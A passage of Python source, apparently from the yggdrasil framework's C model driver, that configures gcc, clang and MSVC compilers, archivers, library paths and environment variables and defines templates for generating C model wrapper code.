**kwargs: Keyword arguments are passed to the parent class's method. Returns: dict: Environment variables for the model process. """ out = super(CCompilerBase, cls).set_env(*args, **kwargs) if _osx_sysroot is not None: out['CONDA_BUILD_SYSROOT'] = _osx_sysroot out['SDKROOT'] = _osx_sysroot grp = re.search(r'MacOSX(?P<target>[0-9]+\.[0-9]+)?', _osx_sysroot).groupdict() # This is only utilized on local installs where a # non-default SDK is installed in addition to the default if grp['target']: # pragma: debug out['MACOSX_DEPLOYMENT_TARGET'] = grp['target'] return out @classmethod def call(cls, args, **kwargs): r"""Call the compiler with the provided arguments. For |yggdrasil| C models will always be linked using the C++ linker since some parts of the interface library are written in C++.""" if not kwargs.get('dont_link', False): kwargs.setdefault('linker_language', 'c++') return super(CCompilerBase, cls).call(args, **kwargs) class GCCCompiler(CCompilerBase): r"""Interface class for gcc compiler/linker.""" toolname = 'gcc' platforms = ['MacOS', 'Linux', 'Windows'] default_archiver = 'ar' class ClangCompiler(CCompilerBase): r"""clang compiler on Apple Mac OS.""" toolname = 'clang' platforms = ['MacOS'] default_archiver = 'libtool' flag_options = OrderedDict(list(CCompilerBase.flag_options.items()) + [('sysroot', '--sysroot'), ('isysroot', {'key': '-isysroot', 'prepend': True}), ('mmacosx-version-min', '-mmacosx-version-min=%s')]) class MSVCCompiler(CCompilerBase): r"""Microsoft Visual Studio C Compiler.""" toolname = 'cl' languages = ['c', 'c++'] platforms = ['Windows'] default_flags_env = ['CFLAGS', 'CXXFLAGS'] # TODO: Currently everything compiled as C++ on windows to allow use # of complex types. Use '/TC' instead of '/TP' for strictly C default_flags = ['/W4', # Display all errors '/Zi', # Symbolic debug in .pdb (implies debug) # '/MTd', # Use LIBCMTD.lib to create multithreaded .exe # '/Z7', # Symbolic debug in .obj (implies debug) "/EHsc", # Catch C++ exceptions only (C don't throw C++) '/TP', # Treat all files as C++ "/nologo", # Suppress startup banner # Don't show errors from using scanf, strcpy, etc. "-D_CRT_SECURE_NO_WARNINGS"] output_key = '/Fo%s' output_first = True default_linker = 'LINK' default_archiver = 'LIB' linker_switch = '/link' search_path_envvar = 'INCLUDE' search_path_flags = None version_flags = [] product_exts = ['.dir', '.ilk', '.pdb', '.sln', '.vcxproj', '.vcxproj.filters'] combine_with_linker = True # Must be explicit; linker is separate .exe linker_attributes = dict(GCCCompiler.linker_attributes, default_executable=None, default_executable_env=None, default_flags_env=None, output_key='/OUT:%s', output_first=True, output_first_library=False, flag_options=OrderedDict( [('library_libs', ''), ('library_dirs', '/LIBPATH:%s')]), shared_library_flag='/DLL', search_path_envvar='LIB', search_path_flags=None) @classmethod def language_version(cls, **kwargs): # pragma: windows r"""Determine the version of this language. Args: **kwargs: Keyword arguments are passed to cls.call. Returns: str: Version of compiler/interpreter for this language. """ out = cls.call(cls.version_flags, skip_flags=True, allow_error=True, **kwargs) if 'Copyright' not in out: # pragma: debug raise RuntimeError("Version call failed: %s" % out) return out.split('Copyright')[0] # C Archivers class ARArchiver(ArchiverBase): r"""Archiver class for ar tool.""" toolname = 'ar' languages = ['c', 'c++'] default_executable_env = 'AR' default_flags_env = None static_library_flag = 'rcs' output_key = '' output_first_library = True class LibtoolArchiver(ArchiverBase): r"""Archiver class for libtool tool.""" toolname = 'libtool' languages = ['c', 'c++'] default_executable_env = 'LIBTOOL' static_library_flag = '-static' # This is the default class MSVCArchiver(ArchiverBase): r"""Microsoft Visual Studio C Archiver.""" toolname = 'LIB' languages = ['c', 'c++'] platforms = ['Windows'] static_library_flag = None output_key = '/OUT:%s' _top_lang_dir = get_language_dir('c') _incl_interface = _top_lang_dir _incl_seri = os.path.join(_top_lang_dir, 'serialize') _incl_comm = os.path.join(_top_lang_dir, 'communication') _python_inc = ygg_cfg.get('c', 'python_include', None) if (_python_inc is None) or (not os.path.isfile(_python_inc)): # pragma: no cover _python_inc = sysconfig.get_paths()['include'] else: _python_inc = os.path.dirname(_python_inc) try: _python_lib = ygg_cfg.get('c', 'python_shared', ygg_cfg.get('c', 'python_static', None)) if (_python_lib is None) or (not os.path.isfile(_python_lib)): # pragma: no cover _python_lib = tools.get_python_c_library(allow_failure=False) except BaseException: # pragma: debug warnings.warn("ERROR LOCATING PYTHON LIBRARY") _python_lib = None _numpy_inc = numpy_distutils.misc_util.get_numpy_include_dirs() _numpy_lib = None class CModelDriver(CompiledModelDriver): r"""Class for running C models.""" _schema_subtype_description = ('Model is written in C.') language = 'c' language_ext = ['.c', '.h'] interface_library = 'ygg' supported_comms = ['ipc', 'zmq'] supported_comm_options = { 'ipc': {'platforms': ['MacOS', 'Linux']}, 'zmq': {'libraries': ['zmq', 'czmq']}} interface_dependencies = ['rapidjson'] interface_directories = [_incl_interface] external_libraries = { 'rapidjson': {'include': os.path.join(os.path.dirname(tools.__file__), 'rapidjson', 'include', 'rapidjson', 'rapidjson.h'), 'libtype': 'header_only', 'language': 'c'}, 'zmq': {'include': 'zmq.h', 'libtype': 'shared', 'language': 'c'}, 'czmq': {'include': 'czmq.h', 'libtype': 'shared', 'language': 'c'}, 'numpy': {'include': os.path.join(_numpy_inc[0], 'numpy', 'arrayobject.h'), 'libtype': 'header_only', 'language': 'c'}, 'python': {'include': os.path.join(_python_inc, 'Python.h'), 'language': 'c'}} internal_libraries = { 'ygg': {'source': os.path.join(_incl_interface, 'YggInterface.c'), 'linker_language': 'c++', # Some dependencies are C++ 'internal_dependencies': ['regex', 'datatypes'], 'external_dependencies': ['rapidjson', 'python', 'numpy'], 'include_dirs': [_incl_comm, _incl_seri], 'compiler_flags': []}, 'regex_win32': {'source': 'regex_win32.cpp', 'directory': os.path.join(_top_lang_dir, 'regex'), 'language': 'c++', 'libtype': _default_internal_libtype, 'internal_dependencies': [], 'external_dependencies': []}, 'regex_posix': {'source': 'regex_posix.h', 'directory': os.path.join(_top_lang_dir, 'regex'), 'language': 'c', 'libtype': 'header_only', 'internal_dependencies': [], 'external_dependencies': []}, 'datatypes': {'directory': os.path.join(_top_lang_dir, 'datatypes'), 'language': 'c++', 'libtype': _default_internal_libtype, 'internal_dependencies': ['regex'], 'external_dependencies': ['rapidjson', 'python', 'numpy'], 'include_dirs': []}} type_map = { 'int': 'intX_t', 'float': 'double', 'string': 'string_t', 'array': 'json_array_t', 'object': 'json_object_t', 'boolean': 'bool', 'null': 'void*', 'uint': 'uintX_t', 'complex': 'complex_X', 'bytes': 'char*', 'unicode': 'unicode_t', '1darray': '*', 'ndarray': '*', 'ply': 'ply_t', 'obj': 'obj_t', 'schema': 'schema_t', 'flag': 'int', 'class': 'python_class_t', 'function': 'python_function_t', 'instance': 'python_instance_t', 'any': 'generic_t'} function_param = { 'import': '#include \"{filename}\"', 'index': '{variable}[{index}]', 'interface': '#include \"{interface_library}\"', 'input': ('yggInput_t {channel} = yggInputType(' '\"{channel_name}\", {channel_type});'), 'output': ('yggOutput_t {channel} = yggOutputType(' '\"{channel_name}\", {channel_type});'), 'recv_heap': 'yggRecvRealloc', 'recv_stack': 'yggRecv', 'recv_function': 'yggRecvRealloc', 'send_function': 'yggSend', 'not_flag_cond': '{flag_var} < 0', 'flag_cond': '{flag_var} >= 0', 'declare': '{type_name} {variable};', 'init_array': 'init_json_array()', 'init_object': 'init_json_object()', 'init_schema': 'init_schema()', 'init_ply': 'init_ply()', 'init_obj': 'init_obj()', 'init_class': 'init_python()', 'init_function': 'init_python()', 'init_instance': 'init_generic()', 'init_any': 'init_generic()', 'copy_array': '{name} = copy_json_array({value});', 'copy_object': '{name} = copy_json_object({value});', 'copy_schema': '{name} = copy_schema({value});', 'copy_ply': '{name} = copy_ply({value});', 'copy_obj': '{name} = copy_obj({value});', 'copy_class': '{name} = copy_python({value});', 'copy_function': '{name} = copy_python({value});', 'copy_instance': '{name} = copy_generic({value});', 'copy_any': '{name} = copy_generic({value});', 'free_array': 'free_json_array({variable});', 'free_object': 'free_json_object({variable});', 'free_schema': 'free_schema({variable});', 'free_ply': 'free_ply({variable});', 'free_obj': 'free_obj({variable});', 'free_class': 'destroy_python({variable});', 'free_function': 'destroy_python({variable});', 'free_instance': 'free_generic({variable});', 'free_any': 'free_generic({variable});', 'print_float': 'printf("%f\\n", {object});', 'print_int': 'printf("%i\\n", {object});', 'print_uint': 'printf("%u\\n", {object});', 'print_string': 'printf("%s\\n", {object});', 'print_unicode': 'printf("%s\\n", {object});', 'print_bytes': 'printf("%s\\n", {object});', 'print_complex': 'print_complex({object});', 'print_array': 'display_json_array({object});', 'print_object': 'display_json_object({object});', 'print_schema': 'display_schema({object});', 'print_ply': 'display_ply({object});', 'print_obj': 'display_obj({object});', 'print_class': 'display_python({object});', 'print_function': 'display_python({object});', 'print_instance': 'display_generic({object});', 'print_any': 'display_generic({object});', 'assign': '{name} = {value};', 'assign_copy': 'memcpy({name}, {value}, {N}*sizeof({native_type}));', 'comment': '//', 'true': '1', 'false': '0', 'not': '!', 'and': '&&', 'indent': 2 * ' ', 'quote': '\"', 'print': 'printf(\"{message}\\n\");', 'fprintf': 'printf(\"{message}\\n\", {variables});', 'error': 'printf(\"{error_msg}\\n\"); return -1;', 'block_end': '}', 'line_end': ';', 'if_begin': 'if ({cond}) {{', 'if_elif': '}} else if ({cond}) {{', 'if_else': '}} else {{', 'for_begin': ('for ({iter_var} = {iter_begin}; {iter_var} < {iter_end}; ' '{iter_var}++) {{'), 'while_begin': 'while ({cond}) {{', 'break': 'break;', 'exec_begin': 'int main() {', 'exec_end': ' return 0;\n}', 'exec_prefix': '#include <stdbool.h>', 'free': 'if ({variable} != NULL) {{ free({variable}); {variable} = NULL; }}', 'function_def_begin': '{output_type} {function_name}({input_var}) {{', 'return': 'return {output_var};', 'function_def_regex': ( r'(?P<flag_type>.+?)\s*{function_name}\s*' r'\((?P<inputs>(?:[^{{])*?)\)\s*\{{' r'(?P<body>(?:.*?\n?)*?)' r'(?:(?:return *(?P<flag_var>.+?)?;(?:.*?\n?)*?\}})' r'|(?:\}}))'), 'inputs_def_regex': ( r'\s*(?P<native_type>(?:[^\s\*])+(\s+)?' r'(?P<ptr>\*+)?)(?(ptr)(?(1)(?:\s*)|(?:\s+)))' r'(\((?P<name_ptr>\*+)?)?(?P<name>.+?)(?(4)(?:\)))' r'(?P<shape>(?:\[.+?\])+)?\s*(?:,|$)(?:\n)?'), 'outputs_def_regex': ( r'\s*(?P<native_type>(?:[^\s\*])+(\s+)?' r'(?P<ptr>\*+)?)(?(ptr)(?(1)(?:\s*)|(?:\s+)))' r'(?P<name>.+?)(?P<shape>(?:\[.+?\])+)?\s*(?:,|$)(?:\n)?')} outputs_in_inputs = True include_channel_obj = True is_typed = True brackets = (r'{', r'}') @staticmethod def after_registration(cls, **kwargs): r"""Operations that should be performed to modify class attributes after registration.""" if cls.default_compiler is None: if platform._is_linux: cls.default_compiler = 'gcc' elif platform._is_mac: cls.default_compiler = 'clang' elif platform._is_win: # pragma: windows cls.default_compiler = 'cl' CompiledModelDriver.after_registration(cls, **kwargs) if kwargs.get('second_pass', False): return if _python_lib: if _python_lib.endswith(('.lib', '.a')): cls.external_libraries['python']['libtype'] = 'static' cls.external_libraries['python']['static'] = _python_lib else: cls.external_libraries['python']['libtype'] = 'shared' cls.external_libraries['python']['shared'] = _python_lib for x in ['zmq', 'czmq']: if x in cls.external_libraries: if platform._is_win: # pragma: windows cls.external_libraries[x]['libtype'] = 'static' # Platform specific regex internal library if platform._is_win: # pragma: windows regex_lib = cls.internal_libraries['regex_win32'] else: regex_lib = cls.internal_libraries['regex_posix'] cls.internal_libraries['regex'] = regex_lib # Platform specific internal library options cls.internal_libraries['ygg']['include_dirs'] += [_top_lang_dir] if platform._is_win: # pragma: windows stdint_win = os.path.join(_top_lang_dir, 'windows_stdint.h') assert(os.path.isfile(stdint_win)) shutil.copy(stdint_win, os.path.join(_top_lang_dir, 'stdint.h')) cls.internal_libraries['datatypes']['include_dirs'] += [_top_lang_dir] if platform._is_linux: for x in ['ygg', 'datatypes']: if 'compiler_flags' not in cls.internal_libraries[x]: cls.internal_libraries[x]['compiler_flags'] = [] if '-fPIC' not in cls.internal_libraries[x]['compiler_flags']: cls.internal_libraries[x]['compiler_flags'].append('-fPIC') @classmethod def configure(cls, cfg, macos_sdkroot=None): r"""Add configuration options for this language. This includes locating any required external libraries and setting option defaults. Args: cfg (YggConfigParser): Config class that options should be set for. macos_sdkroot (str, optional): Full path to the root directory for the MacOS SDK that should be used. Defaults to None and is ignored. Returns: list: Section, option, description tuples for options that could not be set. """ # Call __func__ to avoid direct invoking of class which dosn't exist # in after_registration where this is called out = CompiledModelDriver.configure.__func__(cls, cfg) # Change configuration to be directory containing include files rjlib = cfg.get(cls._language, 'rapidjson_include', None) if (rjlib is not None) and os.path.isfile(rjlib): cfg.set(cls._language, 'rapidjson_include', os.path.dirname(os.path.dirname(rjlib))) nplib = cfg.get(cls._language, 'numpy_include', None) if (nplib is not None) and os.path.isfile(nplib): cfg.set(cls._language, 'numpy_include', os.path.dirname(os.path.dirname(nplib))) if macos_sdkroot is None: macos_sdkroot = _osx_sysroot if macos_sdkroot is not None: if not os.path.isdir(macos_sdkroot): # pragma: debug raise ValueError("Path to MacOS SDK root directory " "does not exist: %s." % macos_sdkroot) cfg.set(cls._language, 'macos_sdkroot', macos_sdkroot) return out @classmethod def call_linker(cls, obj, language=None, **kwargs): r"""Link several object files to create an executable or library (shared or static), checking for errors. Args: obj (list): Object files that should be linked. language (str, optional): Language that should be used to link the files. Defaults to None and the language of the current driver is used. **kwargs: Additional keyword arguments are passed to run_executable. Returns: str: Full path to compiled source. """ if (((cls.language == 'c') and (language is None) and kwargs.get('for_model', False) and (not kwargs.get('skip_interface_flags', False)))): language = 'c++' kwargs.update(cls.update_linker_kwargs(**kwargs)) kwargs['skip_interface_flags'] = True return super(CModelDriver, cls).call_linker(obj, language=language, **kwargs) @classmethod def update_ld_library_path(cls, env, paths_to_add=None, add_to_front=False): r"""Update provided dictionary of environment variables so that LD_LIBRARY_PATH includes the interface directory containing the interface libraries. Args: env (dict): Dictionary of enviroment variables to be updated. paths_to_add (list, optional): Paths that should be added. If not provided, defaults to [cls.get_language_dir()]. add_to_front (bool, optional): If True, new paths are added to the front, rather than the end. Defaults to False. Returns: dict: Updated dictionary of environment variables. """ if paths_to_add is None: paths_to_add = [cls.get_language_dir()] if platform._is_linux: path_list = [] prev_path = env.pop('LD_LIBRARY_PATH', '') if prev_path: path_list.append(prev_path) for x in paths_to_add: if x not in prev_path: if add_to_front: path_list.insert(0, x) else: path_list.append(x) if path_list: env['LD_LIBRARY_PATH'] = os.pathsep.join(path_list) return env def set_env(self, **kwargs): r"""Get environment variables that should be set for the model process. Args: **kwargs: Additional keyword arguments are passed to the parent class's method. Returns: dict: Environment variables for the model process. """ out = super(CModelDriver, self).set_env(**kwargs) out = self.update_ld_library_path(out) if platform._is_win: # pragma: windows out.setdefault('PYTHONHOME', sysconfig.get_config_var('prefix')) out.setdefault('PYTHONPATH', os.pathsep.join([ sysconfig.get_path('stdlib'), sysconfig.get_path('purelib'), os.path.join(sysconfig.get_config_var('prefix'), 'DLLs')])) return out @classmethod def parse_var_definition(cls, io, value, **kwargs): r"""Extract information about input/output variables from a string definition. Args: io (str): Description of variables contained in the provided string. Must be 'inputs' or 'outputs'. value (str): String containing one or more variable definitions. **kwargs: Additional keyword arguments are passed to the parent class's method. Returns: list: List of information about the variables contained in the provided string. Raises: AssertionError: If io is not 'inputs' or 'outputs'. NotImplementedError: If the def_regex for the specified io is not defined. """ out = super(CModelDriver, cls).parse_var_definition(io, value, **kwargs) io_map = {x['name']: x for x in out} for i, x in enumerate(out): if (x['name'] + '_length') in io_map: x['length_var'] = x['name'] + '_length' elif ('length_' + x['name']) in io_map: x['length_var'] = 'length_' + x['name'] elif (((x['name'] + '_ndim') in io_map) and ((x['name'] + '_shape') in io_map)): x['ndim_var'] = x['name'] + '_ndim' x['shape_var'] = x['name'] + '_shape' x['datatype']['type'] = 'ndarray' elif ((('ndim_' + x['name']) in io_map) and (('shape_' + x['name']) in io_map)): x['ndim_var'] = 'ndim_' + x['name'] x['shape_var'] = 'shape_' + x['name'] x['datatype']['type'] = 'ndarray' elif 'shape' in x: x['datatype']['shape'] = [ int(float(s.strip('[]'))) for s in x.pop('shape').split('][')] assert(x['datatype']['subtype'] in _valid_types) if len(x['datatype']['shape']) == 1: x['datatype']['length'] = x['datatype'].pop( 'shape')[0] x['datatype']['type'] = '1darray' else: x['datatype']['type'] = 'ndarray' return out @classmethod def update_io_from_function(cls, model_file, model_function, inputs=[], outputs=[], contents=None, outputs_in_inputs=None): r"""Update inputs/outputs from the function definition. Args: model_file (str): Full path to the file containing the model function's declaration. model_function (str): Name of the model function. inputs (list, optional): List of model inputs including types. Defaults to []. outputs (list, optional): List of model outputs including types. Defaults to []. contents (str, optional): Contents of file to parse rather than re-reading the file. Defaults to None and is ignored. outputs_in_inputs (bool, optional): If True, the outputs are presented in the function definition as inputs. Defaults to False. Returns: dict, None: Flag variable used by the model. If None, the model does not use a flag variable. """ flag_var = super(CModelDriver, cls).update_io_from_function( model_file, model_function, inputs=inputs, outputs=outputs, contents=contents, outputs_in_inputs=outputs_in_inputs) # Add length_vars if missing for use by yggdrasil for x in inputs: for v in x['vars']: if cls.requires_length_var(v) and (not v.get('length_var', False)): v['length_var'] = {'name': v['name'] + '_length', 'datatype': {'type': 'uint', 'precision': 64}, 'is_length_var': True, 'dependent': True} elif cls.requires_shape_var(v): if not (v.get('ndim_var', False) and v.get('shape_var', False)): # pragma: debug raise RuntimeError("Uncomment logic that follows.") # if not v.get('ndim_var', False): # v['ndim_var'] = { # 'name': v['name'] + '_ndim', # 'datatype': {'type': 'uint', # 'precision': 64}, # 'is_length_var': True, # 'dependent': True} # if not v.get('shape_var', False): # v['shape_var'] = { # 'name': v['name'] + '_ndim', # 'datatype': {'type': '1darray', # 'subtype': 'uint', # 'precision': 64}, # 'is_length_var': True, # 'dependent': True} for x in outputs: for v in x['vars']: if cls.requires_length_var(v) and (not v.get('length_var', False)): if v['datatype']['type'] in ['1darray', 'ndarray']: # pragma: debug raise RuntimeError("Length must be defined for arrays.") elif v['datatype'].get('subtype', v['datatype']['type']) == 'bytes': v['length_var'] = 'strlen(%s)' % v['name'] else: v['length_var'] = 'strlen4(%s)' % v['name'] elif (cls.requires_shape_var(v) and not (v.get('ndim_var', False) and v.get('shape_var', False))): # pragma: debug raise RuntimeError("Shape must be defined for ND arrays.") # Flag input variables for reallocation for x in inputs: allows_realloc = [cls.allows_realloc(v) for v in x['vars']] if all(allows_realloc): for v in x['vars']: if (((v['native_type'] not in ['char*', 'string_t', 'bytes_t', 'unicode_t']) and (not v.get('is_length_var', False)) and (v['datatype']['type'] not in ['any', 'object', 'array', 'schema', 'instance', '1darray', 'ndarray']) and (cls.function_param['recv_function'] == cls.function_param['recv_heap']))): v['allow_realloc'] = True for x in inputs + outputs: if x['datatype']['type'] == 'array': nvars_items = len(x['datatype'].get('items', [])) nvars = sum([(not ix.get('is_length_var', False)) for ix in x['vars']]) if nvars_items == nvars: x['use_generic'] = False else: x['use_generic'] = True return flag_var @classmethod def input2output(cls, var): r"""Perform conversion necessary to turn a variable extracted from a function definition from an input to an output. Args: var (dict): Variable definition. Returns: dict: Updated variable definition. """ out = super(CModelDriver, cls).input2output(var) if out.get('ptr', ''): assert(out['native_type'].endswith('*')) out['ptr'] = out['ptr'][:-1] out['native_type'] = out['native_type'][:-1] out['datatype'] = cls.get_json_type(out['native_type']) if (((out['datatype']['type'] == '1darray') and var.get('ndim_var', False) and var.get('shape_var', False))): out['datatype']['type'] = 'ndarray' return out @classmethod def output2input(cls, var, in_definition=True): r"""Perform conversion necessary to turn an output variable into an corresponding input that can be used to format a function definition. Args: var (dict): Variable definition. in_definition (bool, optional): If True, the returned dictionary corresponds to an input variable in a function definition. If False, the returned value will correspond to an input to a function. Defaults to True. Returns: dict: Updated variable definition. """ out = super(CModelDriver, cls).output2input(var) if isinstance(var, dict): if in_definition: out = dict(out, name='*' + out['name']) if ((('shape' in out.get('datatype', {})) or ('length' in out.get('datatype', {})))): out['name'] = '(%s)' % out['name'] else: out = dict(out, name='&' + out['name']) if ('shape' in out.get('datatype', {})) and (not platform._is_win): out['name'] += len(out['datatype']['shape']) * '[0]' return out @classmethod def allows_realloc(cls, var): r"""Determine if a variable allows the receive call to perform realloc. Args: var (dict): Dictionary of variable properties. Returns: bool: True if the variable allows realloc, False otherwise. """ if isinstance(var, dict): datatype = var.get('datatype', var) if ('shape' in datatype) or ('length' in datatype): return False return True @classmethod def requires_length_var(cls, var): r"""Determine if a variable requires a separate length variable. Args: var (dict): Dictionary of variable properties. Returns: bool: True if a length variable is required, False otherwise. """ if ((isinstance(var, dict) and ((cls.get_native_type(**var) in ['char*', 'string_t', 'bytes_t', 'unicode_t']) or var.get('datatype', {}).get( 'type', var.get('type', None)) in ['1darray']) and (not var.get('is_length_var', False)) and ('length' not in var.get('datatype', {})))): return True return False @classmethod def requires_shape_var(cls, var): r"""Determine if a variable requires a separate shape variable. Args: var (dict): Dictionary of variable properties. Returns: bool: True if a shape variable is required, False otherwise. """ if ((isinstance(var, dict) and (var.get('datatype', {}).get( 'type', var.get('type', None)) == 'ndarray') and (not var.get('is_length_var', False)) and ('shape' not in var.get('datatype', {})))): return True return False @classmethod def get_native_type(cls, **kwargs): r"""Get the native type. Args: type (str, optional): Name of |yggdrasil| extended JSON type or JSONSchema dictionary defining a datatype. **kwargs: Additional keyword arguments may be used in determining the precise declaration that should be used. Returns: str: The native type. """ out = super(CModelDriver, cls).get_native_type(**kwargs) if not ((out == '*') or ('X' in out) or (out == 'double')): return out from yggdrasil.metaschema.datatypes import get_type_class json_type = kwargs.get('datatype', kwargs.get('type', 'bytes')) if isinstance(json_type, str): json_type = {'type': json_type} assert(isinstance(json_type, dict)) json_type = get_type_class(json_type['type']).normalize_definition( json_type) if out == '*': json_subtype = copy.deepcopy(json_type) json_subtype['type'] = json_subtype.pop('subtype') out = cls.get_native_type(datatype=json_subtype) if ('length' not in json_type) and ('shape' not in json_type): out += '*' elif 'X' in out: precision = json_type['precision'] if json_type['type'] == 'complex': precision_map = {64: 'float', 128: 'double', 256: 'long_double'} if precision in precision_map: out = out.replace('X', precision_map[precision]) else: # pragma: debug raise ValueError("Unsupported precision for complex types: %d" % precision) else: out = out.replace('X', str(precision)) elif out == 'double': if json_type['precision'] == 32: out = 'float' return out.replace(' ', '') @classmethod def get_json_type(cls, native_type): r"""Get the JSON type from the native language type. Args: native_type (str): The native language type. Returns: str, dict: The JSON type. """ out = {} regex_var = r'(?P<type>.+?(?P<precision>\d*)(?:_t)?)\s*(?P<pointer>\**)' grp = re.fullmatch(regex_var, native_type).groupdict() if grp.get('precision', False): out['precision'] = int(grp['precision']) grp['type'] = grp['type'].replace(grp['precision'], 'X') if grp['type'] == 'char': out['type'] = 'bytes' out['precision'] = 0 elif grp['type'] == 'void': out['type'] = 'null' elif grp['type'].startswith('complex'): out['type'] = 'complex' precision_map = {'long_double': 256, 'double': 128, 'float': 64} prec_str = grp['type'].split('complex_')[-1] if prec_str in precision_map: out['precision'] = precision_map[prec_str] else: # pragma: debug raise ValueError("Cannot determine precision for complex type '%s'" % grp['type']) else: if grp['type'] == 'double': out['precision'] = 8 * 8 elif grp['type'] == 'float': grp['type'] = 'double' out['precision'] = 4 * 8 elif grp['type'] in ['int', 'uint']: grp['type'] += 'X_t' out['precision'] = 8 * np.dtype('intc').itemsize elif grp['type'] in ['bytes_t', 'string_t', 'unicode_t']: out['precision'] = 0 out['type'] = super(CModelDriver, cls).get_json_type(grp['type']) if grp.get('pointer', False): nptr = len(grp['pointer']) if grp['type'] in ['char', 'void']: nptr -= 1 if nptr > 0: out['subtype'] = out['type'] out['type'] = '1darray' if out['type'] in _valid_types: out['subtype'] = out['type'] out['type'] = 'scalar' return out @classmethod def format_function_param(cls, key, default=None, **kwargs): r"""Return the formatted version of the specified key. Args: key (str): Key in cls.function_param mapping that should be formatted. default (str, optional): Format that should be returned if key is not in cls.function_param. Defaults to None. **kwargs: Additional keyword arguments are used in formatting the request function parameter. Returns: str: Formatted string. Raises: NotImplementedError: If key is not in cls.function_param and default is not set. """ if (key == 'import') and ('filename' in kwargs): kwargs['filename'] = os.path.basename(kwargs['filename']) elif (key == 'interface') and ('interface_library' in kwargs): kwargs['interface_library'] = os.path.basename( kwargs['interface_library']).replace('.c', '.h') kwargs['default'] = default return super(CModelDriver, cls).format_function_param(key, **kwargs) @classmethod def write_model_function_call(cls, model_function, flag_var, inputs, outputs, **kwargs): r"""Write lines necessary to call the model function. Args: model_function (str): Handle of the model function that should be called. flag_var (str): Name of variable that should be used as a flag. inputs (list): List of dictionaries describing inputs to the model. outputs (list): List of dictionaries describing outputs from the model. **kwargs: Additional keyword arguments are passed to the parent class's method. Returns: list: Lines required to carry out a call to a model function in this language. """ new_inputs = copy.deepcopy(inputs) for x in new_inputs: for v in x['vars']: if v.get('allow_realloc', False): v['name'] = '*' + v['name'] return super(CModelDriver, cls).write_model_function_call( model_function, flag_var, new_inputs, outputs, **kwargs) @classmethod def write_model_recv(cls, channel, recv_var, **kwargs): r"""Write a model receive call include checking the return flag. Args: channel (str): Name of variable that the channel being received from was stored in. recv_var (dict, list): Information of one or more variables that receieved information should be stored in. **kwargs: Additional keyword arguments are passed to the parent class's method. Returns: list: Lines required to carry out a receive call in this language. """ recv_var_str = recv_var if not isinstance(recv_var, str): recv_var_par = cls.channels2vars(recv_var) allows_realloc = [cls.allows_realloc(v) for v in recv_var_par] if all(allows_realloc): kwargs['alt_recv_function'] = cls.function_param['recv_heap'] else: kwargs['alt_recv_function'] = cls.function_param['recv_stack'] recv_var_str = cls.prepare_output_variables( recv_var_par, in_inputs=cls.outputs_in_inputs, for_yggdrasil=True) return super(CModelDriver, cls).write_model_recv(channel, recv_var_str, **kwargs) @classmethod def write_declaration(cls, var, **kwargs): r"""Return the lines required to declare a variable with a certain type. Args: var (dict, str): Name or information dictionary for the variable being declared. **kwargs: Addition keyword arguments are passed to the parent class's method. Returns: list: The lines declaring the variable. """ if isinstance(var, str): # pragma: no cover var = {'name': var} type_name = cls.get_native_type(**var) if var.get('allow_realloc', False): type_name += '*' var = dict(var, native_type=type_name) if ((type_name.endswith('*') or (type_name in ['bytes_t', 'string_t', 'unicode_t']))): kwargs.get('requires_freeing', []).append(var) kwargs.setdefault('value', 'NULL') elif var.get('is_length_var', False): kwargs.setdefault('value', '0') var = dict(var, name=cls.get_name_declare(var)) out = super(CModelDriver, cls).write_declaration(var, **kwargs) for k in ['length', 'ndim', 'shape']: if ((isinstance(var.get(k + '_var', None), dict) and var[k + '_var'].get('dependent', False))): out += cls.write_declaration(var[k + '_var']) return out @classmethod def get_name_declare(cls, var): r"""Determine the name that should be used for declaration. Args: var (str, dict): Name of variable or dictionary of information. Returns: str: Modified name for declaration. """ if isinstance(var, str): # pragma: no cover return var assert(isinstance(var, dict)) out = var['name'] if 'length' in var.get('datatype', {}): out += '[%d]' % var['datatype']['length'] elif 'shape' in var.get('datatype', {}): for s in var['datatype']['shape']: out += '[%d]' % s return out @classmethod def write_free(cls, var, **kwargs): r"""Return the lines required to free a variable with a certain type. Args: var (dict, str): Name or information dictionary for the variable being declared. **kwargs: Additional keyword arguments are passed to the parent class's method. Returns: list: The lines freeing the variable. """ out = [] if isinstance(var, str): var = {'name': var} if ((isinstance(var.get('datatype', False), dict) and (('free_%s' % var['datatype']['type']) in cls.function_param))): if var.get('allow_realloc', False): out += super(CModelDriver, cls).write_free( var, **kwargs) var = {'name': var['name']} else: var = dict(var, name=('&' + var['name'])) out += super(CModelDriver, cls).write_free(var, **kwargs) return out @classmethod def prepare_variables(cls, vars_list, in_definition=False, for_yggdrasil=False): r"""Concatenate a set of input variables such that it can be passed as a single string to the function_call parameter. Args: vars_list (list): List of variable dictionaries containing info (e.g. names) that should be used to prepare a string representing input/output to/from a function call. in_definition (bool, optional): If True, the returned sequence will be of the format required for specifying variables in a function definition. Defaults to False. for_yggdrasil (bool, optional): If True, the variables will be prepared in the formated expected by calls to yggdarsil send/recv methods. Defaults to False. Returns: str: Concatentated variables list. """ if not isinstance(vars_list, list): vars_list = [vars_list] new_vars_list = [] for x in vars_list: if isinstance(x, str): new_vars_list.append(x) else: assert(isinstance(x, dict)) if for_yggdrasil and x.get('is_length_var', False): continue new_vars_list.append(x) if for_yggdrasil: for k in ['length', 'ndim', 'shape']: kvar = k + '_var' if x.get(kvar, False): if ((x['name'].startswith('*') or x['name'].startswith('&'))): new_vars_list.append( dict(x[kvar], name=x['name'][0] + x[kvar]['name'])) else: new_vars_list.append(x[kvar]) if in_definition: new_vars_list2 = [] for x in new_vars_list: if x['name'].startswith('*'): name = '%s%s* %s' % tuple( [cls.get_native_type(**x)] + x['name'].rsplit('*', 1)) else: name = '%s %s' % (cls.get_native_type(**x), x['name']) new_var = dict(x, name=name) new_var['name'] = cls.get_name_declare(new_var) new_vars_list2.append(new_var) new_vars_list = new_vars_list2 return super(CModelDriver, cls).prepare_variables( new_vars_list, in_definition=in_definition, for_yggdrasil=for_yggdrasil) @classmethod def prepare_output_variables(cls, vars_list, in_definition=False, in_inputs=False, for_yggdrasil=False): r"""Concatenate a set of output variables such that it can be passed as a single string to the function_call parameter. Args: vars_list (list): List of variable names to concatenate as output from a function call. in_definition (bool, optional): If True, the returned sequence will be of the format required for specifying output variables in a function definition. Defaults to False. in_inputs (bool, optional): If True, the output variables should be formated to be included as input variables. Defaults to False. for_yggdrasil (bool, optional): If True, the variables will be prepared in the formated expected by calls to yggdarsil send/recv methods. Defaults to False. Returns: str: Concatentated variables list. """ if not in_inputs: # If the output is a True output and not passed as an input # parameter, then the output should not include the type # information that is added if in_definition is True. in_definition = False return 